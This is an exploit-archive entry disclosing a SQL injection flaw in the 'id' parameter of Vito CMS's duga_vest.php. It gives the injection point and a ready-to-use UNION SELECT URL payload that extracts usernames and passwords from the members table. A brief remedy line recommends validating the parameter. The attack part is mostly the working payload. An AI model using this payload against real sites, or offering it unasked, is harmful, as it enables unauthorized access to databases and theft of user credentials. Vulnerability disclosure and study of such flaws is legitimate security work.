Vito CMS SQL Injection vulnerability

2010-02-12T00:00:00
ID 1337DAY-ID-10869
Type zdt
Reporter evilzone
Modified 2010-02-12T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ====================================
Vito CMS SQL Injection vulnerability 
====================================

# Software Link: http://kameleon-lab.com/vito-cms.php (it isn't
download link, because it is not free)
# Version: n/a

.:. Script : Vito CMS
.:. Info link: http://kameleon-lab.com/vito-cms.php
.:. Versions: ALL
.:. Bug Type : Sql Injection
.:. Risk: High
.:. Tested on : Windows & Linux

===[ Exploit ]===

.:. It was found that Vito CMS does not validate properly the "id"
parameter value.

http://server/duga_vest.php?id=1[SQL]

===[ Example ]===

http://server/duga_vest.php?id=-217+UNION+SELECT+1,2,3,group_concat(id,0x3a,username,0x3a,password,0x3a),5,6,7,8+from+members--

===[ Solution ]===

.:. Input validation of "id" parameter should be corrected.




#  0day.today [2018-01-03]  #